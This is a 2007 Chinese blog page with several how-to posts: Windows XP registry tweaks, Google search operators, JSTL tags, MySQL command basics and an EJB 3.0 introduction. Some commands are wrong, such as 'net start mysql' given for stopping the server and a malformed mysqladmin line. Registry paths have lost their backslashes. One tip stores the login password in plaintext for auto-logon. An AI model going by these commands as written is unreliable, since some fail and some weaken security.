      在[开始]#>[运行]#>键入[Regedit]#>[HKEY_CURRENT_USER]#>[Control Panel]#>[Desktop],将字符串值[MenuShowDelay]的数值数据更改为[0],调整后如觉得菜单显示速度太快而不适应者可将[MenuShowDelay]的数值数据更改为[200],重新启动即可

    5.禁止修改用户文件夹 

      找到HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer。如果要锁定“图片收藏”、“我的文档”、“收藏夹”、“我的音乐”这些用户文件夹的物理位置,分别把下面这些键设置成1:DisableMyPicturesDirChange,DisablePersonalDirChange,DisableFavoritesDirChange,DisableMyMusicDirChange

    6.减小浏览局域网的延迟时间 

      和Windows 2000一样,XP在浏览局域网时也存在烦人的延迟问题,但介绍这个问题的资料却很难找到。如果你浏览一台Win 9x的机器,例如,在网上邻居的地址栏输入“computername”,XP的机器会在它正在连接的机器上检查“任务计划”。这种搜索过程可能造成多达30秒的延迟。如果你直接打开某个共享资源,例如在网上邻居的地址栏输入“computernameshare”,就不会有这个延迟过程。要想避免XP搜索“任务计划”的操作,提高浏览网络的速度,你可以删除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerRemoteComputerNameSpace{D6277990-4C6A-11CF-8D87-00AA0060F5BF}子键。该键的类型是REG_SZ

    7.屏蔽系统中的热键  

      点击“开始”→“运行”,输入Regedit,打开注册表编辑器。然后依次打开到HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer,新建一个双字节值,键名为“NoWindows Keys”,键值为“1”,这样就可以禁止用户利用系统热键来执行一些禁用的命令。如果要恢复,只要将键值设为0或是将此键删除即可

    8.关闭不用的共享  

      安全问题一直为大家所关注,为了自己的系统安全能够有保证,某些不必要的共享还是应该关闭的。用记事本编辑如下内容的注册表文件,保存为任意名字的.Reg文件,使用时双击即可关闭那些不必要的共享:  

      Windows Registry Editor Version 5.00  

      [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]  

      "AutoShareServer"=dword:00000000  

      "AutoSharewks"=dword:00000000  

      [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]  

      "restrictanonymous"=dword:00000001

    9.让IE支持多线程下载
      一般情况下,大家都使用多线程下载软件如Flashget等下载文件,其实IE也可以支持多线程下载的,只是微软将这个功能给藏了起来。我们把它给挖出来就可以使用了。打开注册表编辑器,在注册表HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings下新建双字节值项“MaxConnectionsPerServer”,它决定了最大同步下载的连线数目,一般设定为5~8个连线数目比较好。另外,对于HTTP 1.0服务器,可以加入名为“MaxConnectionsPer1_0Server”的双字节值项,它也是用来设置最大同步下载的数目,也可以设定为5~8。 

    10.让WINDOWS XP自动登陆 

      打开:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon,在右边的窗口中的新建字符串"AutoAdminlogon",并把他们的键值为"1",并且把“DefaultUserName”的值设置为用户名,并且另外新建一个字符串值“DefaultPassword”,并设其值为用户的密码

    七、我们来让我们的系统瘦瘦身
    删除多余的虚拟光驱图标

      当我们在系统中安装了虚拟光驱后,“我的电脑”中就会多出一个光盘图标,即便日后你不再使用虚拟光驱,虚拟光驱图标还会继续保留,实在没有必要。我们动手来删除这个多余的虚拟光驱图标:单击“开始→运行”,输入“regedit”,按下“确定”键后打开注册表编辑器,依次展开HKEY_LOCAL_MACHINEEnumSCSI分支,在SCSI子键下通常有两个子键,它们分别对应着虚拟光驱和物理光驱,把SCSI下的子键全部删除,重新启动电脑后虚拟光驱图标就会被删除。

    删除多余的系统级图标

      系统级图标是指在安装Windows时由系统自动创建的图标,如回收站、收件箱、网上邻居等,其中有些图标对用户来说并无用处,但这些图标无法直接删除。打开注册表编辑器,依次展开HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion

      explorerDesktopNameSpace分支,然后删除不需要的子键。关闭注册表编辑器,重新启动电脑后,你会发现桌面上不需要的系统级图标已经消失了。

    删除“运行”中多余的选项

      如果你多次使用“开始→运行”菜单,会发现它的“打开”窗口被一大堆不再需要的命令弄得凌乱不堪。打开注册表编辑器,依次展开HKEY_USERS.DEFAULTSoftwareMicrosoftWindowsCurrentVersion

      ExplorerRunMRU分支,将右侧窗口的相关键值删除即可。

    删除“查找”中多余的选项

      依次展开HKEY_USER.DefaultSoftwareMicrosoftWindowsCurrentVersion

      ExplorerDoc-FindSpecMRU分支,将右侧窗口中的相关键值删除即可。

    删除多余的键盘布局

      Windows试图成为世界的宠儿,因此其键盘布局适合于各国各类人的使用习惯。打开注册表编辑器,依次展开HKEY_LOCAL_MACHINESystemCurrentControlSetControl

      KeyboardLayouts分支,我们可以看到该分支下保存了西班牙语(传统)、丹麦语、德语(标准)等多种键盘布局,如果你用不到这些语言的键盘布局,完全可以直接删除这些子键。

    删除多余的区域设置

      与上述键盘布局相类似的还有Windows的区域设置,在注册表编辑器中展开HKEY_LOCAL_MACHINESystemCurrentControlSetControl

      NlsLocale分支,简体中文使用者完全可以只保留“00000804”键值,其他可以毫不留情地删除。
    posted @ 2007-09-13 18:52 jadmin 阅读(71) | 评论 (0)编辑 收藏
    1)逻辑与/或:AND、OR
    注意AND、OR必须大写,否则会被认为是普通的单词,而不是搜索指令。
    与普通编程语言不一样的是,OR指令优先于AND指令。
    简写:AND指令一般以空格代替,不明确写出。另外AND指令还可以用+代替。OR指令可用|代替。

    样例:Inverted OR Signature files OR file OR index,它等同于 (Inverted OR Signature) (files OR file OR index)
    2)逻辑非:-
    样例:搜索引擎 历史 -文化 -中国历史 -世界历史
    3)完整匹配:"…"
    样例:"world war I" 表示搜索一次世界大战。
    4)通配符:*?
    与我们通常的习惯一致,“*”代表一连串字符,“?”代表单个字符。
    样例:progr?m
    提示:不要指望Google可用通过progr?m搜索到program,因为progr和m分别被当作一个独立的单词,并且这两个单词之间允许出现一个字符,如此而已。

    5)site: 在某个网站或域名下搜索
    样例:搜索引擎 技巧 site:edu.cn
    这表示要在中文教育科研网站(edu.cn)上关于搜索引擎技巧的页面。
    6)filetype: 搜索某种类型的文件
    样例:filetype:pdf
    这表示只搜索pdf文件。
    7)in指令: 位置关键词查找。
    intitle: 在网页标题中查找。这通常对讨论比较多的热门话题很有效。例如:intitle:"GeForce 7800"+测试
    allintitle: 该指令属于排他指令,不能与其他指令混用。

    例如:allintitile:"GeForce 7800" 测试 与 intitle:"GeForce 7800"+测试 的含义一致。但是,allintitile是排他的,不能加上其他非intitle方面的限制条件。
    注意:在这里,你会发现用+代替AND指令是很有意思的。如果没有+指令,我们就需要写:intitle:"GeForce 7800" intitle:测试,因为Google不支持这样的写法:intitle:("GeForce 7800" 测试)
    inurl: 在网页的url地址中查找。例如:inurl:dowload 表示查找url中包含download的网页。
    allinurl: inurl的排他指令。
    inanchor: 在网页的链接锚中查找。

    需要注意区别于inurl:inurl是网页本身的url地址,而inanchor是在外部用于指向该url地址的文本(<a>…</a>之间文本)中找。
    例如:inanchor:download,你可能会发现有FlashGet最佳的下载管理程式,而该页面中根本就没有download字样。
    allinanchor: inanchor的排他指令。
    intext: 在正文中检索。
    allintext: intext的排他指令。
    8)link: 搜索所有链接到某个URL地址的网页
    最重要的用途:迅速判断一个网页的“热度”。
    例如:link:www.newhua.com 表示所有指向“华军软件园”外部链接。
    注意:和其他指令类似,link:和url之间不能有空格。之所以特别指出这一点,是因为网上有教程说link和allinurl等一样,是排他指令,中间可以有空格。我不太了解Google搜索指令的发展历史,只能猜测曾经如此。

    9)related: 寻找某网页的“类似网页”。
    例如:related:www.newhua.com 表示找和“华军软件园”类似的网页。
    这条指令其实Google自己用得很广泛,只是可能没有引起你的注意罢了。在Google的每条搜索结果中,均有一个“类似网页”的链接。就是它了。

    10)cache: 网页快照(略)。

    11)daterange: 据说可以限定网页的更新时间。但是我没有试出来。

    12)数值范围:..
    例如:数码相机 600..900 万像素 3000..4000 元
    注意:“900”与“万”之间必须有空格。
    posted @ 2007-09-12 11:24 jadmin 阅读(55) | 评论 (0)编辑 收藏

    <taglib>
         <taglib-uri>http://java.sun.com/jstl/core</taglib-uri>
         <taglib-location>/WEB-INF/c.tld</taglib-location>
    </taglib>

    1.c:catch
       <c:catch var="abccba">
       <%=1/0 %>
       </c:catch>
    ${abccba }
    2.c:chose
    <c:choose>
    <c:when test="true">
       ${"正确" }
    </c:when>
    <c:otherwise>
       ${"错误" }
    </c:otherwise>
    </c:choose>
    3.c:foreach
    <c:forEach items="list" var="x" begin="0" end="10" step="2"   varState="sate">
    <c:out value="${x}"/>
    <c:out value="${x * x}"/>
    </c:forEach>

    其中:state.*** 代表下面的意思:

    current getCurrent() 当前这次迭代的(集合中的)项  
    index getIndex() 当前这次迭代从 0 开始的迭代索引  
    count getCount() 当前这次迭代从 1 开始的迭代计数  
    first isFirst() 用来表明当前这轮迭代是否为第一次迭代的标志  
    last isLast() 用来表明当前这轮迭代是否为最后一次迭代的标志  
    begin getBegin() begin 属性值  
    end getEnd() end 属性值  
    step getStep() step 属性值  

    4.c:forTokens
    同forEach 它主要是用来处理 字符串,之间用逗号或者什么其他符号分割的,

    <c:forTokens items="a,a,a,a,a" delims = "," var="x" begin="0" end="10" step="2"   varState="sate">

    5.c:if

    <c:if test="true" var= "var" scope="session">

    var 可以定义一个 test 的值,并且用 scope 设置这个变量的生命周期

    6.c:out

    <c:out   value="df" default= "" escapeXml="true">

    default ,当 value 出现 null 值时候用的默认值

    escapeXml,是否转换 HTML 格式的文字

    posted @ 2007-09-12 11:14 jadmin 阅读(61) | 评论 (0)编辑 收藏
    <taglib>
             <taglib-uri>http://java.sun.com/jstl/fn</taglib-uri>
             <taglib-location>/WEB-INF/fn.tld</taglib-location>
    </taglib>

    长度函数: fn:length

    字符串处理函数: fn:contains fn:containsIgnoreCase fn:endsWith fn:escapeXml fn:indexOf fn:join fn:replace fn:split fn:startsWith fn:substring fn:substringAfter fn:substringBefore fn:toLowerCase fn:toUpperCase fn:trim

    JSP 页面上:

    <%@ taglib uri="/WEB-INF/fn.tld" prefix="fn" %>

    ${fn:toUpperCase("sdjkhjshjhjd") }

    这个例子将输出 这些字母的大写字母

    一.长度函数 fn:length 函数

    长度函数 fn:length 的出现有重要的意义。在 JSTL1.0 中,有一个功能被忽略了,那就是对集合的长度取值。虽然 java.util.Collection 接口定义了 size 方法,但是该方法不是一个标准的 JavaBean 属性方法(没有 get,set 方法),因此,无法通过 EL 表达式“ ${collection.size} ”来轻松取得。

    fn:length 函数正是为了解决这个问题而被设计出来的。它的参数为 input ,将计算通过该属性传入的对象长度。该对象应该为集合类型或 String 类型。其返回结果是一个 int 类型的值。下面看一个示例。

    <%ArrayList arrayList1 = new ArrayList();

                                arrayList1.add("aa");

                                arrayList1.add("bb");

                                arrayList1.add("cc");

    %>

    <%request.getSession().setAttribute("arrayList1", arrayList1);%>

    ${fn:length(sessionScope.arrayList1)}

    假设一个 ArrayList 类型的实例“ arrayList1 ”,并为其添加三个字符串对象,使用 fn:length 函数后就可以取得返回结果为“ 3 ”。

    二.判断函数 fn:contains 函数

    fn:contains 函数用来判断源字符串是否包含子字符串。它包括 string substring 两个参数,它们都是 String 类型,分布表示源字符串和子字符串。其返回结果为一个 boolean 类型的值。下面看一个示例。

    ${fn:contains("ABC", "a")}<br>

    ${fn:contains("ABC", "A")}<br>

    前者返回“ false ”,后者返回“ true ”。

    三.fn:containsIgnoreCase 函数

    fn:containsIgnoreCase 函数与 fn:contains 函数的功能差不多,唯一的区别是 fn:containsIgnoreCase 函数对于子字符串的包含比较将忽略大小写。它与 fn:contains 函数相同,包括 string substring 两个参数,并返回一个 boolean 类型的值。下面看一个示例。

    ${fn:containsIgnoreCase("ABC", "a")}<br>

    ${fn:containsIgnoreCase("ABC", "A")}<br>

    前者和后者都会返回“ true ”。

    四.词头判断函数 fn:startsWith 函数

    fn:startsWith 函数用来判断源字符串是否符合一连串的特定词头。它除了包含一个 string 参数外,还包含一个 subffx 参数,表示词头字符串,同样是 String 类型。该函数返回一个 boolean 类型的值。下面看一个示例。

    ${fn:startsWith ("ABC", "ab")}<br>

    ${fn:startsWith ("ABC", "AB")}<br>

    前者返回“ false ”,后者返回“ true ”。

    五.词尾判断函数 fn:endsWith 函数

    fn:endsWith 函数用来判断源字符串是否符合一连串的特定词尾。它与 fn:startsWith 函数相同,包括 string subffx 两个参数,并返回一个 boolean 类型的值。下面看一个示例。

    ${fn:endsWith("ABC", "bc")}<br>

    ${fn:endsWith("ABC", "BC")}<br>

    前者返回“ false ”,后者返回“ true ”。

    .字符实体转换函数fn:escapeXml 函数

    fn:escapeXml 函数用于将所有特殊字符转化为字符实体码。它只包含一个 string 参数,返回一个 String 类型的值。

    七.字符匹配函数 fn:indexOf 函数

    fn:indexOf 函数用于取得子字符串与源字符串匹配的开始位置,若子字符串与源字符串中的内容没有匹配成功将返回“ -1 ”。它包括 string substring 两个参数,返回结果为 int 类型。下面看一个示例。

    ${fn:indexOf("ABCD","aBC")}<br>

    ${fn:indexOf("ABCD","BC")}<br>

    前者由于没有匹配成功,所以返回 -1 ,后者匹配成功将返回位置的下标,为 1

    八.分隔符函数 fn:join 函数

    fn:join 函数允许为一个字符串数组中的每一个字符串加上分隔符,并连接起来。它的参数、返回结果和描述如表 9.25 所示:

    9.25   fn:join 函数

    参数

    描述

    array

    字符串数组。其类型必须为 String[] 类型

    separator

    分隔符。其类型必须为 String 类型

    返回结果

    返回一个 String 类型的值

    下面看一个示例。

    <% String[] stringArray = {"a","b","c"}; %>

    <%request.getSession().setAttribute("stringArray", stringArray);%>

    ${fn:join(sessionScope.stringArray,";")}<br>

    定义数组并放置到 Session 中,然后通过 Session 得到该字符串数组,使用 fn:join 函数并传入分隔符“ ; ”,得到的结果为“ a;b;c ”。

    九.替换函数 fn:replace 函数

    fn:replace 函数允许为源字符串做替换的工作。它的参数、返回结果和描述如表 9.26 所示:

    9.26   fn:replace 函数

    参数

    描述

    inputString

    源字符串。其类型必须为 String 类型

    beforeSubstring

    指定被替换字符串。其类型必须为 String 类型

    afterSubstring

    指定替换字符串。其类型必须为 String 类型

    返回结果

    返回一个 String 类型的值

    下面看一个示例。

    ${fn:replace("ABC","A","B")}<br>

    将“ ABC ”字符串替换为“ BBC ”,在“ ABC ”字符串中用“ B ”替换了“ A ”。

    十.分隔符转换数组函数 fn:split 函数

    fn:split 函数用于将一组由分隔符分隔的字符串转换成字符串数组。它的参数、返回结果和描述如表 9.27 所示:

    9.27   fn:split 函数

    参数

    描述

    string

    源字符串。其类型必须为 String 类型

    delimiters

    指定分隔符。其类型必须为 String 类型

    返回结果

    返回一个 String[] 类型的值

    下面看一个示例。

    ${fn:split("A,B,C",",")}<br>

    将“ A,B,C ”字符串转换为数组 {A,B,C}

    十一.字符串截取函数 fn:substring 函数

    fn:substring 函数用于截取字符串。它的参数、返回结果和描述如表 9.28 所示:

    9.28   fn:substring 函数

    参数

    描述

    string

    源字符串。其类型必须为 String 类型

    beginIndex

    指定起始下标(值从 0 开始)。其类型必须为 int 类型

    endIndex

    指定结束下标(值从 0 开始)。其类型必须为 int 类型

    返回结果

    返回一个 String 类型的值

    下面看一个示例。

    ${fn:substring("ABC","1","2")}<br>

    截取结果为“ B ”。

    十二.起始到定位截取字符串函数 fn:substringBefore 函数

    fn:substringBefore 函数允许截取源字符从开始到某个字符串。它的参数和 fn:substringAfter 函数相同,不同的是 substring 表示的是结束字符串。下面看一个示例。

    ${fn:substringBefore("ABCD","BC")}<br>

    截取的结果为“ A ”。

    十三.小写转换函数 fn:toLowerCase 函数

    fn:toLowerCase 函数允许将源字符串中的字符全部转换成小写字符。它只有一个表示源字符串的参数 string ,函数返回一个 String 类型的值。下面看一个示例。

    ${fn:toLowerCase("ABCD")}<br>

    转换的结果为“ abcd ”。

    十四.大写转换函数 fn:toUpperCase 函数

    fn:toUpperCase 函数允许将源字符串中的字符全部转换成大写字符。它与 fn:toLowerCase 函数相同,也只有一个 String 参数,并返回一个 String 类型的值。下面看一个示例。

    ${fn:toUpperCase("abcd")}<br>

    转换的结果为“ ABCD ”。

    十五.空格删除函数 fn:trim 函数

    fn:trim 函数将删除源字符串中结尾部分的“空格”以产生一个新的字符串。它与 fn:toLowerCase 函数相同,只有一个 String 参数,并返回一个 String 类型的值。下面看一个示例。

    ${fn:trim("AB C ")}D<br>

    转换的结果为“ AB CD ”,注意,它将只删除词尾的空格而不是全部,因此“ B ”和“ C ”之间仍然留有一个空格。



    posted @ 2007-09-12 11:13 jadmin 阅读(1119) | 评论 (0)编辑 收藏

    fmt:formatNumber
    fmt:parseNumber
    fmt:formatDate
    fmt:parseDate  

    剩下几个 关于 国际标准化的标签的话这里就不做介绍了,有兴趣的朋友可以和我交流一下

    fmt:setLocale
    fmt:timeZone
    fmt:setTimeZone
    fmt:bundle
    fmt:setBundle
    fmt:message
    fmt:param

    还有一个字符型 标签 fmt:requestEncoding 的话,因为像我一般的话都在 JSP 顶部已经设置过了,个人感觉用处也不是很大

    <fmt:formatDate value="<%=new Date() %>" pattern="yyyy年MM月dd日HH点mm分ss秒" />
    <fmt:parseDate value="2008-8-8" pattern="yyyy-MM-dd" var = "abccba" scope="session" />

    第一个 用来进行 DATE 型数据的格式化输出,字母代表什么意思上面的例子中已经写的很清楚了

    第二个 主要是把 Pattern样式的String 类型的数据转换成 Date 类型

    <fmt:formatNumber value="123.123456789" pattern="0.00"/>

    用来将 数字进行 格式化输出,上面的例子中就是保留两位有效小数

    fmt:parseNumber   同 fmt:parseDate 这里就不做介绍了

    posted @ 2007-09-12 11:12 jadmin 阅读(730) | 评论 (0)编辑 收藏


    net start mysql             启动数据库

    net start mysql             关闭数据库

    mysql -u用户名 -p密码       连接数据库

    show databases               找出服务器上当前存在什么数据库



    一、连接MYSQL。


    格式: mysql -h主机地址 -u用户名 -p用户密码


    1、例1:连接到本机上的MYSQL。


    首先在打开DOS窗口,然后进入目录 mysqlbin,再键入命令mysql -uroot -p,回车后提示你输密码,如果刚安装好MYSQL,超级用户root

    是没有密码的,故直接回车即可进入到MYSQL中了,MYSQL的提示符是:mysql>


    2、例2:连接到远程主机上的MYSQL。假设远程主机的IP为:110.110.110.110,用户名为root,密码为abcd123。则键入以下命令:


    mysql -h110.110.110.110 -uroot -pabcd123


    (注:u与root可以不用加空格,其它也一样)


    3、退出MYSQL命令: exit (回车)


    二、修改密码。


    格式:mysqladmin -u用户名 -p旧密码 password 新密码


    1、例1:给root加个密码ab12。首先在DOS下进入目录mysqlbin,然后键入以下命令


    mysqladmin -uroot -password ab12


    注:因为开始时root没有密码,所以-p旧密码一项就可以省略了。


    2、例2:再将root的密码改为djg345。


    mysqladmin -uroot -pab12 password djg345


    三、增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)


    格式:grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"


    例1、增加一个用户test1密码为abc,让他可以在任何主机上登录,并对所有数据库有查询、插入、修改、删除的权限。首先用以root用户

    连入MYSQL,然后键入以下命令:


    grant select,insert,update,delete on *.* to test1@\"%\" Identified by \"abc\";


    但例1增加的用户是十分危险的,你想如某个人知道test1的密码,那么他就可以在internet上的任何一台电脑上登录你的mysql数据库并对

    你的数据可以为所欲为了,解决办法见例2。


    例2、增加一个用户test2密码为abc,让他只可以在localhost上登录,并可以对数据库mydb进行查询、插入、修改、删除的操作

    (localhost指本地主机,即MYSQL数据库所在的那台主机),这样用户即使用知道test2的密码,他也无法从internet上直接访问数据库,

    只能通过MYSQL主机上的web页来访问了。


    grant select,insert,update,delete on mydb.* to test2@localhost identified by \"abc\";


    如果你不想test2有密码,可以再打一个命令将密码消掉。


    grant select,insert,update,delete on mydb.* to test2@localhost identified by \"\";


    在上篇我们讲了登录、增加用户、密码更改等问题。下篇我们来看看MYSQL中有关数据库方面的操作。注意:你必须首先登录到MYSQL中,

    以下操作都是在MYSQL的提示符下进行的,而且每个命令以分号结束。


    一、操作技巧


    1、如果你打命令时,回车后发现忘记加分号,你无须重打一遍命令,只要打个分号回车就可以了。也就是说你可以把一个完整的命令分成

    几行来打,完后用分号作结束标志就OK。


    2、你可以使用光标上下键调出以前的命令。但以前我用过的一个MYSQL旧版本不支持。我现在用的是mysql-3.23.27-beta-win。


    二、显示命令


    1、显示数据库列表。


    show databases;


    刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作


    2、显示库中的数据表:


    use mysql; //打开库,学过FOXBASE的一定不会陌生吧


    show tables;


    3、显示数据表的结构:


    describe 表名;


    4、建库:


    create database 库名;


    5、建表:


    use 库名;


    create table 表名 (字段设定列表);


    6、删库和删表:


    drop database 库名;


    drop table 表名;


    7、将表中记录清空:


    delete from 表名;


    8、显示表中的记录:


    select * from 表名;


    三、一个建库和建表以及插入数据的实例


    drop database if exists school; //如果存在SCHOOL则删除


    create database school; //建立库SCHOOL


    use school; //打开库SCHOOL


    create table teacher //建立表TEACHER


    (


    id int(3) auto_increment not null primary key,


    name char(10) not null,


    address varchar(50) default '深圳',


    year date


    ); //建表结束


    //以下为插入字段


    insert into teacher values('','glchengang','深圳一中','1976-10-10');


    insert into teacher values('','jack','深圳一中','1975-12-23');


    注:在建表中(1)将ID设为长度为3的数字字段:int(3)并让它每个记录自动加一:auto_increment并不能为空:not null而且让他成为主字

    段primary key(2)将NAME设为长度为10的字符字段(3)将ADDRESS设为长度50的字符字段,而且缺省值为深圳。varchar和char有什么区

    别呢,只有等以后的文章再说了。(4)将YEAR设为日期字段。


    如果你在mysql提示符键入上面的命令也可以,但不方便调试。你可以将以上命令原样写入一个文本文件中假设为school.sql,然后复制到

    c:\\下,并在DOS状态进入目录\\mysql\\bin,然后键入以下命令:


    mysql -uroot -p密码 < c:\\school.sql


    如果成功,空出一行无任何显示;如有错误,会有提示。(以上命令已经调试,你只要将//的注释去掉即可使用)。


    四、将文本数据转到数据库中


    1、文本数据应符合的格式:字段数据之间用tab键隔开,null值用\\n来代替.


    例:


    3 rose 深圳二中 1976-10-10


    4 mike 深圳一中 1975-12-23


    2、数据传入命令 load data local infile \"文件名\" into table 表名;


    注意:你最好将文件复制到\\mysql\\bin目录下,并且要先用use命令打表所在的库。


    五、备份数据库:(命令在DOS的\\mysql\\bin目录下执行)


    mysqldump --opt school>school.bbb


    注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。


    SQL常用命令使用方法:

    (1) 数据记录筛选:

    sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"

    sql="select * from 数据表 where 字段名 like %字段值% order by 字段名 [desc]"

    sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"

    sql="select * from 数据表 where 字段名 in ( 值1 , 值2 , 值3 )"

    sql="select * from 数据表 where 字段名 between 值1 and 值2"

    (2) 更新数据记录:

    sql="update 数据表 set 字段名=字段值 where 条件表达式"

    sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式"

    (3) 删除数据记录:

    sql="delete from 数据表 where 条件表达式"

    sql="delete from 数据表" (将数据表所有记录删除)

    (4) 添加数据记录:

    sql="insert into 数据表 (字段1,字段2,字段3 …) valuess (值1,值2,值3 …)"

    sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表)

    (5) 数据记录统计函数:

    AVG(字段名) 得出一个表格栏平均值
    COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计
    MAX(字段名) 取得一个表格栏最大的值
    MIN(字段名) 取得一个表格栏最小的值
    SUM(字段名) 把数据栏的值相加

    引用以上函数的方法:

    sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
    set rs=conn.excute(sql)

    用 rs("别名") 获取统的计值,其它函数运用同上。

    (6) 数据表的建立和删除:

    Create TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )

    例:Create TABLE tab01(name varchar(50),datetime default now())

    Drop TABLE 数据表名称 (永久性删除一个数据表)

    (7)记录集对象的方法:

    rs.movenext 将记录指针从当前的位置向下移一行
    rs.moveprevious 将记录指针从当前的位置向上移一行
    rs.movefirst 将记录指针移到数据表第一行
    rs.movelast 将记录指针移到数据表最后一行
    rs.absoluteposition=N 将记录指针移到数据表第N行
    rs.absolutepage=N 将记录指针移到第N页的第一行
    rs.pagesize=N 设置每页为N条记录
    rs.pagecount 根据 pagesize 的设置返回总页数
    rs.recordcount 返回记录总数
    rs.bof 返回记录指针是否超出数据表首端,true表示是,false为否
    rs.eof 返回记录指针是否超出数据表末端,true表示是,false为否
    rs.delete 删除当前记录,但记录指针不会向下移动
    rs.addnew 添加记录到数据表末端
    rs.update 更新数据表记录

    posted @ 2007-09-11 20:53 jadmin 阅读(44) | 评论 (0)编辑 收藏
      EJB3.0规范使开发EJB比过去更容易,可能诱惑你考虑开发第一个EJB。如果真是这种情况,那么祝贺你,你经成功避免了在你以前EJB开发者的很多挫折,并且享受到EJB3.0开发的便利性。但是你开始开发以前,你可能想知道EJB是什么和它们用于什么目的。本篇文章解释了EJB的基础和你如何在一个J2EE程序中使用它们。

    什么是EJB?

      一个企业JavaBean (EJB)是一个可重用的,可移植的J2EE组件。 EJB由封装了业务逻辑的多个方法组成。例如,一个EJB可以有包括一个更新客户数据库中数据的方法的业务逻辑。多个远程和本地客户端可以调用这个方法。另外,EJB运行在一个容器里,允许开发者只关注与bean中的业务逻辑而不用考虑象事务支持,安全性和远程对象访问等复杂和容易出错的事情。EJB以POJO或者普通旧的Java对象形式开发,开发者可以用元数据注释来定义容器如何管理这些Bean。

    EJB类型

      EJB主要有三种类型:会话Bean,实体Bean和消息驱动Bean。会话Bean完成一个清晰的解耦的任务,例如检查客户账户历史记录。实体Bean是一个代表存在于数据库中业务对象的复杂业务实体。消息驱动Bean用于接收异步JMS消息。让我们更详细的认识这些类型。

    会话Bean

      会话Bean一般代表着业务流程中象"处理订单"这样的动作。会话Bean基于是否维护过度状态分为有状态或者无状态。

      无状态会话Bean 没有中间状态。它们不保持追踪一个方法调用另一个方法传递的信息。因此一个无状态业务方法的每一次调用都独立于它的前一个调用;例如,税费计算或者转移账款。 当计算税费额的方法被调用时,税费值被计算并返回给调用的方法,没有必要存储调用者为将来调用备用的内部状态。因为它们不维护状态,所以这些Bean是仅仅由容器管理。当客户端请求一个无状态的Bean实例时,它可以接收来自由容器管理的无状态会话Bean实例集中的一个实例。也因为无状态会话Bean能够被共享,所以容器可以维护更少数量的实例来为大量的客户端服务。简单地象该Bean增加元注释@Stateless 来指定一个 Java Bean作为一个无状态会话Bean被部署和管理。

      一个有状态的会话Bean维护一个跨越多个方法调用的会话状态;例如在线购物篮应用。当客户开始在线购物时,客户的详细信息从数据库获得。相同的信息对于当客户从购物篮中增加或者移除商品等等操作时被调用的其他方法也是可访问的 。但是因为该状态不是在会话结束,系统崩溃或者网络失败时保留,所以有状态会话Bean是暂时的。当一个客户端请求一个有状态会话Bean实例时,客户端将会得到一个会话实例,该Bean的状态只为给客户端维持。通过向方法增加元注释@Remove来告诉容器当某个方法调用结束一个有状态会话Bean实例应该被移除。

    会话Bean实例
    import javax.ejb.Stateless.*;

    /**
    * 一个简单无状态会话Bean实现了CalculateEJB接口的incrementValue()方法
    **/

    @Stateless(name="CalculateEJB")
    public class CalculateEJBBean
    implements CalculateEJB
    {
    int value = 0;
    public String incrementValue()
    {
    value++;
    return "value incremented by 1";
    }
    }

    实体Bean

      实体Bean是管理持久化数据的一个对象,潜在使用一些相关的Java对象并且可以依靠主键被唯一识别。通过包括@Entity 元注释来指定一个类是一个实体Bean。实体Bean表示来自数据库的持久化数据,例如客户表中的一个记录,或者一个员工表中的一个员工记录。实体Bean也可以被多个客户端共享。例如一个员工实体能够被多个计算一个员工每年工资总额或者更新员工地址的客户端使用。实体Bean对象特定变量能够保持持久化。实体Bean中所有没有@Transient 元注释的变量需要考虑持久化。EJB3.0的一个主要特色是创建包含使用元数据注释的对象/关系映射实体Bean的能力。例如,指定实体Bean的empId变量映射到employee表中的EMPNO属性,象下面实例中一样用@Table(name="Employees") 注释这个表的名字和用@Column(name="EMPNO")注释empId变量。另外,EJB3.0中的一个特色是你可以很容易的在开发时测试实体Bean,可以用Oracle Application Server Entity Test Harness在容器外部运行一个实体Bean。

    实体Bean实例
    import javax.persistence.*;
    import java.util.ArrayList;
    import java.util.Collection;

    @Entity
    @Table(name = "EMPLOYEES")
    public class Employee implements java.io.Serializable
    {
    private int empId;
    private String eName;
    private double sal;

    @Id
    @Column(name="EMPNO", primaryKey=true)
    public int getEmpId()
    {
    return empId;
    }

    public void setEmpId(int empId)
    {
    this.empId = empId;
    }

    public String getEname()
    {
    return eName;
    }

    public void setEname(String eName)
    {
    this.eName = eName;
    }

    public double getSal()
    {
    return sal;
    }

    public void setSal(double sal)
    {
    this.sal = sal;
    }

    public String toString()
    {
    StringBuffer buf = new StringBuffer();
    buf.append("Class:")
    .append(this.getClass().getName()).append(" :: ").append(" empId:").append(getEmpId()).append(" ename:").append(getEname()).append("sal:").append(getSal());
    return buf.toString();
    }
    }

    消息驱动Bean

      驱动Bean (MDB) 提供了一个实现异步通信比直接使用Java消息服务(JMS)更容易地方法。创建MDB接收异步JMS消息。容器处理为JMS队列和主题所要求加载处理的大部分工作。它向相关的MDB发送所有的消息。一个MDB允许J2EE应用发送异步消息,该应用能处理这些消息。实现javax.jms.MessageListener接口和使用@MessageDriven注释该Bean来指定一个Bean是消息驱动Bean。

    消息驱动Bean实例
    import javax.ejb.MessageDriven;
    import javax.ejb.ActivationConfigProperty;
    import javax.ejb.Inject;
    import javax.jms.*;
    import java.util.*;
    import javax.ejb.TimedObject;
    import javax.ejb.Timer;
